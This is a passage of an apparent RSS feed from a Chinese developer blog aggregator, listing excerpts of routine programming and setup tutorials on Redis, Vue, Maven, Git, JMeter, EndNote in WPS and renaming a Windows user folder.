useful [extras] name=CentOS-$releasever-stream - Extras - mirrors.aliyun.com #failovermethod=priority baseurl=https://mirrors.aliyun.com/centos/$releasever-stream/extras/$basearch/os/ http://mirrors.aliyuncs.com/centos/$releasever-stream/extras/$basearch/os/ http://mirrors.aliyun.com/centos/$releasever-stream/extras/$basearch/os/ gpgcheck=1 gpgkey=https://mirrors.aliyun.com/centos/RPM-GPG-KEY-CentOS-Official #additional packages that extend functionality of existing packages [centosplus] name=CentOS-$releasever-stream - Plus - mirrors.</description>
    </item>
    <item>
      <title>Mac下安装Redis</title>
      <link>https://bchobby.github.io/posts/c2d77086ecf0f0ac963ae20f05c53f1d/</link>
      <pubDate>Wed, 23 Mar 2022 14:16:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2d77086ecf0f0ac963ae20f05c53f1d/</guid>
      <description>Mac下安装Redis 安装Redis启动查看redis服务进程redis-cli连接redis服务关闭redis服务强行终止redisredis.conf 配置文件 安装Redis 启动 默认启动 // redisStart.sh #!/bin/bash redis-server 带配置文件启动 redis-server ./redis.conf 查看redis服务进程 ps axu | grep redis redis-cli连接redis服务 redis-cli -h 127.0.0.1 -p 6379 kaiwang@kaideMacBook-Pro bin % redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379&amp;gt; 127.0.0.1:6379&amp;gt; ping PONG 127.0.0.1:6379&amp;gt; 关闭redis服务 // 正确停止Redis的方式应该是向Redis发送SHUTDOWN命令 // redisShutdown.sh #!/bin/bash redis-cli shutdown 强行终止redis sudo pkill redis-server redis.conf 配置文件 教程 link.</description>
    </item>
    <item>
      <title>ArcGIS 地图的一些常用方法汇总</title>
      <link>https://bchobby.github.io/posts/ce7a0b3967f71dc21c0d12f46c75a53a/</link>
      <pubDate>Wed, 23 Mar 2022 11:53:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce7a0b3967f71dc21c0d12f46c75a53a/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、1. 首先下载 ArcGIS ，然后在当前使用的页面引入2. 还需要在样式中引入。3. 在页面创建一个id。4.我直接贴上整个代码，附带注释。以供更好的理解，或整体使用。 总结 前言 个人对ArcGIS 地图使用的一些理解和方法&#xA;大概分为以下几类：&#xA;1：图层的添加。&#xA;2：热力图。&#xA;3：绘图小部件。&#xA;4：视频图层。&#xA;5：空间查询。&#xA;6：地图点击事件。&#xA;以下方法是在vue中使用&#xA;一、 1. 首先下载 ArcGIS ，然后在当前使用的页面引入 代码如下（示例）：&#xA;1：npm install esri-loader --save (或者cnpm) 2：import { loadModules } from &#34;esri-loader&#34;; 2. 还需要在样式中引入。 代码如下（示例）：&#xA;@import &#34;http://10.101.21.67:8099/lgpc/arcgis_js_v422_api/arcgis_js_api/javascript/4.22/esri/themes/light/main.css&#34;; 放在style中就好。&#xA;3. 在页面创建一个id。 &amp;lt;div id=&#34;viewDiv&#34;&amp;gt;&amp;lt;/div&amp;gt; 4.我直接贴上整个代码，附带注释。以供更好的理解，或整体使用。 代码如下（示例）：&#xA;createMapView() { var map; var view; var that = this; var nnerId = &#34;&#34;; loadModules([ //引入的这些注意顺序，有时候顺序不对，也会报错加载不出来的。 &#34;esri/config&#34;, &#34;esri/Map&#34;, &#34;esri/views/MapView&#34;, &#34;esri/widgets/Sketch&#34;, //绘图小组件 &#34;</description>
    </item>
    <item>
      <title>WPS关联EndNoteX9</title>
      <link>https://bchobby.github.io/posts/ed7b46ab75419b56bd97ba8915f0e527/</link>
      <pubDate>Wed, 23 Mar 2022 09:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed7b46ab75419b56bd97ba8915f0e527/</guid>
      <description> EndNote9正版链接，这是我看到的一个大佬博文里的链接，里面提供的还有一个百度网盘链接。大佬提供的还有Endnote20，感兴趣的可以都去看看。&#xA;我在WPS通过com加载项加载endnotex9时一直没反应，试过很多种方法，最后找到了一位知乎大佬的解答，茅塞顿开。&#xA;总结如下：&#xA;（原因）&#xA;endnote是64位的，安装时自动在C:\Program Files\Common Files\ResearchSoft\Cwyw\19生成了供office加载的dll。但是并没有在C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19创建文件。WPS是32位的，要关联endnote需要在C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19下去找，根据1的陈述铁定找不到，所以wps不会显示endnote加载项。&#xA;（解决方法）手动创建C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19文件夹，需要注意的是19对应的是X9，如果是20对应的就是endnote20，这是版本号。在endnote安装路径（我的是D:\endnotex9）下找到D:\endnotex9\Product-Support\CWYW 下的Cwyw_x86.dat ，并且将它的后缀名改为.rar ，然后解压缩到当前文件夹下。最后把解压文件夹下的所有文件复制到C:\Program Files (x86)\Common Files\ResearchSoft\Cwyw\19文件夹下。&#xA;最后看一下打开WPS后的效果：&#xA;需要注意的一点是，如果打开WPS看不到endnote，需要以管理员身份运行WPS。 </description>
    </item>
    <item>
      <title>计算机组成-陆俊林</title>
      <link>https://bchobby.github.io/posts/68d0fcb12e56d38207e14946389abfd9/</link>
      <pubDate>Wed, 23 Mar 2022 08:25:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68d0fcb12e56d38207e14946389abfd9/</guid>
      <description>目录&#xA;1.电子计算机的兴起&#xA;2.冯诺依曼结构的要点&#xA;3.冯诺依曼结构的小故事&#xA;4.计算机结构的简化模型&#xA;5.计算机执行指令的过程&#xA;6.计算机输入和输出&#xA;7.冯诺依曼结构和具体实现&#xA;8.设计自己的计算机&#xA;9.x86体系结构&#xA;10.x86指令简介&#xA;11.复杂的x86指令举例&#xA;12.MIPS体系结构&#xA;13.MIPS指令简介&#xA;14.算术运算和逻辑运算&#xA;15.门电路的基本原理&#xA;16.寄存器的基本原理&#xA;17.逻辑运算的实现&#xA;18.加法和减法的实现&#xA;19.加法器的优化&#xA;20.乘法的运算过程&#xA;21.乘法器的实现&#xA;22.乘法器的优化1&#xA;23.乘法器的优化2&#xA;24.除法的运算过程&#xA;25.除法器的实现&#xA;26.除法器的优化&#xA;27.设计处理器的准备&#xA;28.数据通路的建立&#xA;29.运算指令的控制信号&#xA;30.访存指令的控制信号&#xA;31.分支指令的控制信号&#xA;32.控制信号的集成&#xA;33.流水线的基本原理&#xA;34.流水线的优化&#xA;35.超标量流水线&#xA;​ 36.流水线冒险&#xA;37.数据冒险的处理&#xA;38.控制冒险的处理&#xA;39.存储层次结构&#xA;40.DRAM与SRAM&#xA;41.主存的工作原理&#xA;42.主存技术的发展&#xA;43.高速缓存的工作&#xA;44.高速缓存的设计要点&#xA;45.存储容量的计算&#xA;46.中断和异常&#xA;47.中断向量表&#xA;48.中断的处理过程&#xA;49.内部中断的分类说明&#xA;50.基于中断的功能调用&#xA;51.输入输出接口的基本功能&#xA;53.输入输出接口的编制方式&#xA;53.输入输出的控制方式&#xA;55.中断控制方式&#xA;56.外部中断处理过程&#xA;57.直接存储器访问&#xA;1.电子计算机的兴起 2.冯诺依曼结构的要点 3.冯诺依曼结构的小故事 4.计算机结构的简化模型 5.计算机执行指令的过程 6.计算机输入和输出 7.冯诺依曼结构和具体实现 8.设计自己的计算机 9.x86体系结构 10.x86指令简介 11.复杂的x86指令举例 12.</description>
    </item>
    <item>
      <title>【翻译】Dagre-D3 文档整理和翻译</title>
      <link>https://bchobby.github.io/posts/e24e272b44f604ea661747db8dc1e00e/</link>
      <pubDate>Tue, 22 Mar 2022 22:59:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e24e272b44f604ea661747db8dc1e00e/</guid>
      <description>地址:&#xA;github Dagre-D3&#xA;目录 文章目录 dagre-d3设计优先级安装npmBowerBrowser Scripts源代码构建 如何使用Darge聚焦渲染例子 配置布局生成的图像第三部分例子推荐阅读 dagre-d3 Dagre是一个JavaScript库, 可以更轻易得在客户端布局连接图。此库是dagre的前端子库, 底层使用D3进行渲染。&#xA;如果要查看更多详细信息(包含样例和配置在内), 请查看wiki页面。&#xA;设计优先级 完全的客户端计算布局。如果客户端布局对你来说并非所需, 可以查看graphviz, 这是个功能丰富的代替品。 样式举例:&#xA;速度。Darge为了更快得绘制中等图像, kennel不会采用更合适、准确的算法。渲染的不可知性。Darge仅需要非常基础的信息就能绘制图像,比如节点的维度。你可以自由地使用任何你喜欢的技术渲染图形。此处推荐学习d3。 安装 npm 在安装这个库之前, 需要向安装npm&#xA;然后执行安装:&#xA;$ npm install dagre Bower $ bower install dagre Browser Scripts 你可以获取到最新版的browser-ready版本文件:&#xA;dagre.jsdagre.min.js 你也可以指定下载版本, 通过realease page找到所需版本。&#xA;源代码构建 在构建之前, 需要先下载npm管理器。&#xA;在此项目的根目录下执行以下命令:&#xA;$ make dist 此命令会在当前项目的dist目录下生成dagre.js和dagre.min.js两个文件。&#xA;如何使用Darge 聚焦渲染 如上文提到, dagre仅聚焦于图像布局。 这意味着你需要使用dagre的布局信息来渲染图像。&#xA;这有一些渲染的选项:&#xA;dagre-d3是一个基于d3的dagre渲染器JointJS是一个渲染器，提供了在渲染后编辑图像的工具Cytoscape.js是一个可以使用Dagre作为布局的完整的图像库，支持可视化和分析用例。 Cytoscape.js拥有复杂的渲染流程，由类似于CSS的样式表书写。 例子 首先，需要在HTML页面中导入Dagre库:&#xA;&amp;lt;script src=&#34;https://PATH/TO/dagre.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 在Node.js中:&#xA;var dagre = require(&#34;dagre&#34;); 使用graphlib在dagre中创建图像。此处，它的API值得一看</description>
    </item>
    <item>
      <title>uniapp 离线打包webview无法上传图片问题</title>
      <link>https://bchobby.github.io/posts/705bf6b243824d1d916b701fd81177be/</link>
      <pubDate>Tue, 22 Mar 2022 17:17:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/705bf6b243824d1d916b701fd81177be/</guid>
      <description>离线打包上传文件选择文件上传失败，从文件点击选择的内容可以上传成功，其他路径进去上传失败，查了好久是因为清单文件的目标版本targetSdkVersion 写了29，改成28或者不填就好了。</description>
    </item>
    <item>
      <title>512、java-求最大子数组</title>
      <link>https://bchobby.github.io/posts/4dc0fafa4be264acda3cf8a9348ff836/</link>
      <pubDate>Tue, 22 Mar 2022 16:38:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dc0fafa4be264acda3cf8a9348ff836/</guid>
      <description>求最大子数组 方式一：穷举出所有子数组 public static void main(String[] args) { int[] arr = new int[]{1,2,-4,5,-3,5,3,-9,3}; querySubArr(arr); querySubArrExhaustively(arr); } /** * @description: 穷举的方式，罗列出所有子数组 * @param ${tags} * @return ${return_type} * @throws * @author chenjy */ public static void querySubArrExhaustively(int[] arr) { if (arr == null || arr.length == 0) throw new IllegalArgumentException(&#34;数组为空&#34;); //1. 子数组容器 Map&amp;lt;Integer,String&amp;gt; map = new HashMap&amp;lt;&amp;gt;(); //穷举出所有子数组 for (int i = 0; i &amp;lt; arr.length; i++) { int key = arr[i]; String value = arr[i]+&#34;</description>
    </item>
    <item>
      <title>jmeter性能测试场景设计</title>
      <link>https://bchobby.github.io/posts/1ec0e6d57a9b64f32efd06a53f87f96c/</link>
      <pubDate>Tue, 22 Mar 2022 14:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ec0e6d57a9b64f32efd06a53f87f96c/</guid>
      <description>Jmeter场景设置 初始配置 可参阅：https://blog.csdn.net/DDJ_TEST/article/details/123660120&#xA;线程组插件 安装插件：jpgc - Standard Set&#xA;1、总线程100个，启动之前等待15秒，线程初始运行20个，每隔30秒5秒钟内增加10个， 持续运行60秒，最后每1秒停止5个 jp@gc - Stepping Thread Group (deprecated)&#xA;2、当测试需求：进行波浪形的压力测试场景时，使用该线程组，例如:测试场景总共有10个线程，然后分为三个波浪进行测试 jp@gc - Ultimate Thread Group&#xA;3、测试场景总共有30个线程,然后分为3次逐渐增加负载,每次增加10个线程 jp@gc - Ultimate Thread Group&#xA;案例 响应时间&#xA;每秒事务数&#xA;查看服务器网络有没有瓶颈&#xA;C:\Users\MSoffice&amp;gt;ping 192.168.10.22 -t 正在 Ping 192.168.10.22 具有 32 字节的数据: 来自 192.168.10.22 的回复: 字节=32 时间=5ms TTL=92 来自 192.168.10.22 的回复: 字节=32 时间=5ms TTL=92 来自 192.168.10.22 的回复: 字节=32 时间=5ms TTL=92 来自 192.168.10.22 的回复: 字节=32 时间=5ms TTL=92 来自 192.168.10.22 的回复: 字节=32 时间=5ms TTL=92 来自 192.</description>
    </item>
    <item>
      <title>Web是如何知道登录状态的</title>
      <link>https://bchobby.github.io/posts/29f173443ca02ea85fd341017d7d1e73/</link>
      <pubDate>Tue, 22 Mar 2022 13:56:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29f173443ca02ea85fd341017d7d1e73/</guid>
      <description> 文章目录 程序说明：设想情景以及结果问题实验截图 程序说明： 本程序没有做自动登录，仅仅只是做了登录验证，关闭浏览器是需要重新登录的&#xA;设想情景以及结果 第一步清除所有cookies，进入登录页&#xA;未登录的时候，查看cookies&#xA;结果：在登录页面的时候，就存在cookies&#xA;登录之后，查看cookies，并对比未登录的时候的cookies的值&#xA;结果：登录之后的cookies和登录之前完全一样&#xA;登录之后的页面，删除cookies，刷新网页&#xA;结果：跳转到登录页面，同时cookies刷新为新的值&#xA;退出网页，重新进入登录页面，查看cookies的值&#xA;结果：登录页面的cookies刷新为新的值&#xA;问题 网页是如何知道用户已经登录了，毕竟登录前后cookies没有改变 实验截图 </description>
    </item>
    <item>
      <title>mockjs的使用</title>
      <link>https://bchobby.github.io/posts/1660a1de8d7fc7371cbfc6579c0ffd69/</link>
      <pubDate>Mon, 21 Mar 2022 19:35:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1660a1de8d7fc7371cbfc6579c0ffd69/</guid>
      <description>mockjs入门操作 首先先创建一个新的Vue项目，然后安装mockjs 与 axios 安装axios 是为了能模拟后台接口。&#xA;安装完以后启动我们的项目，在main.js中引入mock.js文件，import &#39;@/mock/mock.js&#39;&#xA;mock.js mock.vue文件 页面/控制台数据&#xA;以上就是使用mockjs生成的模拟数据，在开发的时候如果没有数据地址可以使用这个，基本上可以满足平时开发的需要。</description>
    </item>
    <item>
      <title>idea配置代码自动格式以避免被代码检测工具扫出格式问题</title>
      <link>https://bchobby.github.io/posts/0584e980f7591874834503d4a934e382/</link>
      <pubDate>Mon, 21 Mar 2022 15:04:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0584e980f7591874834503d4a934e382/</guid>
      <description>通常公司的代码检测工具会对代码的格式进行多维度的限制，而这些限制可以通过在idea的Code Style中进行配置，并通过Reformat Code一键格式化，idea针对各种场景的配置项很多，可以根据代码检测工具检测出的具体场景寻找对应的配置，一键解决代码格式问题。以下以java为例，列出频率最高的三个场景：&#xA;第一，单行的字符数限制在120个以内；&#xA;第二，禁止.*格式的package的import；&#xA;第三，代码未格式化（空格、换行等，该问题通过执行Reformat Code即可）；&#xA;具体的配置过程如下：&#xA;第一个问题：&#xA;从上面截图可知，除了标红的需要打勾之外，还可以根据代码检测工具的实际提示，勾选更多的配置，以实现一键解决对应的其他问题。&#xA;第二个问题：&#xA;执行Reformat Code：</description>
    </item>
    <item>
      <title>安装vue-devTool</title>
      <link>https://bchobby.github.io/posts/6c17cddff1e09fda51e906f8188cf80c/</link>
      <pubDate>Sun, 20 Mar 2022 22:43:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c17cddff1e09fda51e906f8188cf80c/</guid>
      <description> 因为chrome浏览器受限，不能在线安装devTools插件，只能离线安装。离线安装的方法有如下几种：&#xA;下载devTools源码 devtools下载地址：https://github.com/vuejs/devtools&#xA;下载之后通过cmd命令进入到文件夹，&#xA;1、首先输入安装依赖；&#xA;输入npm install命令&#xA;2、接着编译&#xA;输入npm run build命令&#xA;3、如果第二步成功之后，修改manifest.json文件&#xA;找到manifest.json文件（shells -&amp;gt; chrome -&amp;gt; manifest.json ），用记事本打开，然后将persistent的值修改为true。&#xA;4、添加devTools插件&#xA;打开chrome浏览器的扩展程序界面，打开开发者模式按钮，&#xA;5、拖文件&#xA;找到chrome文件（ shells -&amp;gt; chrome）直接将文件拖进去即可。&#xA;以上是在网上查找的方法，可能由于网络的原因，安装依赖时缺少了文件，导致执行npm run build命令时报错，于是，我又使用了另外的方法。直接下载crx文件。&#xA;直接下载crx文件 下载crx文件，在网上找到一个下载地址：https://pan.baidu.com/s/14PoaihUHQZEJtiHNWUmdjg&#xA;ps:这个链接下载的是4.1.4版本的。 下载完之后，打开chrome浏览器的扩展程序界面，确认开发者模式按钮已经打开，然后直接将crx文件拖进界面，弹出提示框，点击添加扩展程序即可。&#xA;添加成功之后如下图所示：&#xA;安装成功之后再浏览器右上角可以查看&#xA;在调试界面也可以看到该插件：&#xA;然后就可以通过该窗口查看界面的一些数据信息。 </description>
    </item>
    <item>
      <title>组合优化问题的典型事例</title>
      <link>https://bchobby.github.io/posts/eff9c799dd209f6ba5145294d23b2359/</link>
      <pubDate>Sun, 20 Mar 2022 19:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eff9c799dd209f6ba5145294d23b2359/</guid>
      <description>组合优化问题的典型事例 week4&#xA;组合优化：是关于寻找元素的子集&#xA;那就是：&#xA;满足某些约束条件并且给定成本函数（最小权重，最短路径…）&#xA;组合优化问题的示例：&#xA;1.背包&#xA;2.图中的最小生成树&#xA;3.图中的最短路径&#xA;4.最小顶点或集合覆盖&#xA;5.最大独立集&#xA;6.最小顶点着色&#xA;计算困难问题的优化&#xA;棘手的问题：你已经看到了各种各样的问题不太可能解决的问题的示例在多项式时间内求解（NP难问题）。&#xA;应用：在后续中，我将提供有效解决这些问题的方法。&#xA;优化问题的方法：&#xA;分支与边界&#xA;动态规划&#xA;近似（算法）&#xA;随机算法&#xA;分支和边界：限制（系统的）搜索空间利用下界和上界并提供最优解。&#xA;有三种结合方式:&#xA;1.动态规划&#xA;2.近似算法&#xA;3.随机算法&#xA;背包问题(Knapsack Problem)&#xA;输入：n项，正有理权w1，wn和值v1，vn以及正有理容量C。&#xA;任务：找到具有权重的项目的子集≤ 最大化&#xA;总价值。&#xA;背包问题：复杂性与算法&#xA;背包是NP完全的，有一种O（Cn）背包算法，使用动态&#xA;编程；只有在C不太大的情况下才有效。&#xA;背包问题：数学公式&#xA;决策变量：我们为项目选择：x1，Xn，其中xi=如果未选择项目i，则为0;如果选择了项目i,则为1&#xA;计算公式:&#xA;图片&#xA;背包问题是组合优化中的一个问题：给定一组项目，每个项目都有一个权重和一个值，确定要包含在集合中的每个项目的数量，以便总权重小于或等于给定的限制，并且总值尽可能大。&#xA;当前解~x在每次递归调用时都会求值（重量和价值）。那么所有变量x1到xz都被认为是固定的。&#xA;枚举：枚举背包的所有有效解决方案&#xA;这个问题对应于一个集合的所有子集的枚举物品（不包括背包中不适合的子集）。&#xA;解向量和优化函数：针对每个电流解向量~x=（x1，…，xn）我们保持：当前总值vcurr和当前总重量wcurr&#xA;全局变量：&#xA;最佳解向量~xbest和关联的最佳总价值vmax&#xA;方法：分而治之&#xA;这个方法会枚举所有的可能结合的方式,追踪所有的数据,停止当得到最佳结果时.这是一个递归过程.&#xA;执行：算法首先调用Enum（0，0，0，~0）。&#xA;第一个是number z of already assigned variables in ~x;第二个是total value&#xA;vcurr;第三个是total weight wcurr;第四个是 current solution-vector ~x.&#xA;这样受限的搜索空间通过考虑是否包括z+1项，以这种方式创建的所有子问题都是递归解决的。&#xA;运行时：每个n项和每个递归调用的工作量是恒定的（不包括递归）。因此，总运行时间为O（2n).&#xA;C来限制weight和,最佳结果是在这种限制下能够得到的最大value值&#xA;图片&#xA;背包：改进枚举&#xA;改进思路：在z&amp;lt;n固定的情况下检查部分解变量。</description>
    </item>
    <item>
      <title>win10 更改中文用户名为英文</title>
      <link>https://bchobby.github.io/posts/0a7d6d4817be6c7cef5443622e379143/</link>
      <pubDate>Sun, 20 Mar 2022 17:45:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a7d6d4817be6c7cef5443622e379143/</guid>
      <description>更改用户名 一般是将我们电脑路径C:\User\“中文名字”改为C:\User\“英文名字”&#xA;！！！！！！！！！注意！！！！！！！ 一般不建议更改用户名，更改后可能会造成很多问题，谨慎更改 修改文件夹名称 百度上的教程大部分都是让修改注册表，这种解决方法不太完整，下面教大家完整的修改方法！【每个人的电脑情况有可能不同，修改有风险】&#xA;① Win+R打开命令窗口，输入regedit 打开注册表，手动找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList&#xA;在这个目录下面有几个S-1-5-的项，挨个检查每一项，找到“ProfileListPath”项，看它后面的数据值是不是为C:\User\名字，若是，右键修改，将“名字”改为“CGHQ”【这个名字是列举，可以自行修改自己喜欢的英文或者数字，不要中文】。点击确认，关闭注册表。&#xA;② 重启电脑 此时去C:\User目录下是不能修改名称的，重启电脑，需要注意的是，此时重启电脑后桌面会变成第一次使用的样子，很多程序失踪了就&#xA;网上的教程一般到这一步便结束了，不用担心。&#xA;我们现在去C:\User下去修改名字，右键要修改的文件夹，这时候会出现重命名选项，将名字改为“CGHQ”&#xA;确认后再次重启电脑，重启后电脑就会恢复原来的样子。&#xA;③ 创建链接 修改完了后，会发现很多程序的配置文件路径还是原来的中文名C:\User\名字，所以打开它们会出现路径不存在的错误&#xA;此时不用担心，查看 C:\User 文件夹 下是否还有 之前用户名的文件 ，有的话点开，一般 之前用户名的文件夹 中的内容都转移到了 新的用户名文件夹，查看有没有重要的文件，没有的话删除 此文件夹，不删除会和之后创建快捷方式造成同名冲突&#xA;我们在C:\User 文件夹下创建一个 和之前用户名同名的 快捷方式，具体操作如下：找到cmd.exe（C:\Windows\System32），右键以管理员身份运行，执行命令&#xA;MKLINK /J C:\User\叮当 C:\User\dingdang 注意：（电脑不同，该命令的大小写不同可能会报错，多试几种，注意大小写中英文符号），/J的意思就是将路径为C:\User\名字的链接全部赋给C:\User\name&#xA;这时候无论访问 C:\User\叮当 还是 C:\User\dingdang 都将跳转到C:\User\dingdang&#xA;这时候就完全OK啦！&#xA;后续 可以更改环境变量中的 包含用户名的相关路径？</description>
    </item>
    <item>
      <title>Maven如何导入dependencies的jar包</title>
      <link>https://bchobby.github.io/posts/6bdbe5a95ac10a108a9d3f5348a43462/</link>
      <pubDate>Sun, 20 Mar 2022 17:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bdbe5a95ac10a108a9d3f5348a43462/</guid>
      <description>打开项目的pom.xml目录，输入cmd，进入命令行页面。&#xA;输入：mvn dependency:copy-dependencies -DoutputDirectory=lib&#xA;成功！&#xA;犹记得我导了一下午jar包的那天…&#xA;所以说有新技术要去学啊，不要总是视而不见，懒得学！</description>
    </item>
    <item>
      <title>使用Vue指令实现下拉菜单效果</title>
      <link>https://bchobby.github.io/posts/524c9e62d9f84af9bd70f67eda582aaa/</link>
      <pubDate>Sun, 20 Mar 2022 15:26:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/524c9e62d9f84af9bd70f67eda582aaa/</guid>
      <description>使用Vue指令实现下拉菜单效果 模仿重庆红岩历史革命博物馆官网的导航栏内容和效果，使用Vue实现。&#xA;官网地址如下：https://www.hongyan.info/&#xA;官网效果&#xA;效果图片展示&#xA;我们可以用 v-for 指令基于一个数组来渲染一个列表。v-for 指令需要使用 item in items 形式的特殊语法，其中 items 是源数据数组，而 item 则是被迭代的数组元素的别名。&#xA;代码展示&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://unpkg.com/vue@next&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; ul,li{ list-style: none; } a{ text-decoration: none; } .nav{ /* width: 100%; */ margin-top: 50px; height: 100px; background-color: #eb131e; } .nav-list{ width: 1500px; margin: 0 auto; } .menus{ float: left; } .menus .menus-a{ /* display: block; */ float: left; font-size: 25px; color: #ffffff; font-weight: bold; width: 140px; text-align: center; height: 70px; padding: 30px 0 0 0; border-right: 3px #FFFFFF solid; } .</description>
    </item>
    <item>
      <title>WebStorm2021.3将项目绑定Git上传到（gitee）码云以及pages服务部署</title>
      <link>https://bchobby.github.io/posts/45ff655bc8fa1bfc04a4b5d131d175f2/</link>
      <pubDate>Sun, 20 Mar 2022 15:25:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45ff655bc8fa1bfc04a4b5d131d175f2/</guid>
      <description>WebStorm2021.3将项目绑定Git上传到（gitee）码云以及pages服务部署&#xA;想将本地的项目推送到远程仓库，需要提前安装Git系统&#xA;Git下载、安装教程及环境配置（超详细步骤讲解，手把手指导）&#xA;一、在WebStorm安装插件Git和Gitee(码云) 在插件商店中搜索，并且安装插件Git和Gitee(码云)&#xA;登录自己的gitee账号&#xA;二、为当前项目创建本地仓库 选择本地仓库地址为项目的所在地址即可&#xA;项目中标注为红色的文件名为没有add过的，add后为绿色，白色表示已经commit过的。&#xA;创建后会在该项目目录下生成.git隐藏文件&#xA;首次创建时需要全部add(添加)一下：右键项目，Git，点击add，如下图所示，add后全为绿色。&#xA;三、将项目代码提交到远程仓库 选择提交的内容、填写提交信息、push到远程仓库&#xA;警告信息：IDE在提交前会对代码进行检查，因此会有代码检查的警告和错误信息，&#xA;而非提交不成功的警告。因此可之际忽略。&#xA;如下图：直接点击 提交&#xA;点击加号，添加一个远程仓库，名字可以取和项目名字相同，地址为上述在Gitee中创建的仓库的地址&#xA;最终的push确认，点击push后提交到远程仓库&#xA;四、使用 gitee 的 pages 服务部署以上的页面 打开所创建的仓库&#xA;选择服务——&amp;gt;Gitee Pages——&amp;gt;启动&#xA;ps:个人建议将文件名修改为index.html&#xA;这篇博客中我所配置的网站地址： https://yuhaowen.gitee.io/vfor_phone&#xA;我的Gitee个人主页：https://gitee.com/yuhaowen</description>
    </item>
    <item>
      <title>git reset撤销索引操作和git restore恢复工作树文件 (十)</title>
      <link>https://bchobby.github.io/posts/a89def9acc383b92a26b180b4bbcf634/</link>
      <pubDate>Sun, 20 Mar 2022 10:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a89def9acc383b92a26b180b4bbcf634/</guid>
      <description>文章目录 1 git reset 重置当前HEAD到指定的状态1.1 概要 2 git restore 恢复工作树文件2.1 概要 3 导航页 1 git reset 重置当前HEAD到指定的状态 1.1 概要 git reset [-q] [&amp;lt;tree-ish&amp;gt;] [--] &amp;lt;pathspec&amp;gt;... git reset [-q] [--pathspec-from-file=&amp;lt;file&amp;gt; [--pathspec-file-nul]] [&amp;lt;tree-ish&amp;gt;] git reset (--patch | -p) [&amp;lt;tree-ish&amp;gt;] [--] [&amp;lt;pathspec&amp;gt;...] git reset [--soft | --mixed [-N] | --hard | --merge | --keep] [-q] [&amp;lt;commit&amp;gt;] git reset [-q] [&amp;lt;tree-ish&amp;gt;] [--] &amp;lt;pathspec&amp;gt;..., git reset [-q] [--pathspec-from-file=&amp;lt;file&amp;gt; [--pathspec-file-nul]] [&amp;lt;tree-ish&amp;gt;]&#xA;匹配&amp;lt;pathspec&amp;gt;所有路径重置索引条目到git 树的状态。git reset (--patch | -p) [&amp;lt;tree-ish&amp;gt;] [--] [&amp;lt;pathspec&amp;gt;.</description>
    </item>
    <item>
      <title>Maven的安装与应用，以及idea的简单项目案例图解</title>
      <link>https://bchobby.github.io/posts/677a65d3e87ddbde594166a111480408/</link>
      <pubDate>Sat, 19 Mar 2022 20:56:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/677a65d3e87ddbde594166a111480408/</guid>
      <description>1. Maven简单介绍&#xA;Apache Maven是个项目管理和自动构建工具，基于项目对象模型（POM）的概念。&#xA;作用：完成项目的相关操作，如：编译，构建，单元测试，安装，网站生成和基于Maven部署项目。&#xA;与Gradle功能相似都是自动构建工具。&#xA;但是市场上Maven使用的更多。&#xA;但是还是有人会不太明白什么是自动构建工具，这里我就使用黑窗口做个例子&#xA;这里我自己写了一个简单的java文件，这种方式就是手动构建方式。&#xA;与之相对，自动构建工具就是帮助你构建的工具。&#xA;我本人以前就使用了一年多的开发工具:Eclipse&#xA;简单的理论就到此;&#xA;接下来讲下载与安装;&#xA;首先打开浏览器进入百度搜索如图输入:Maven 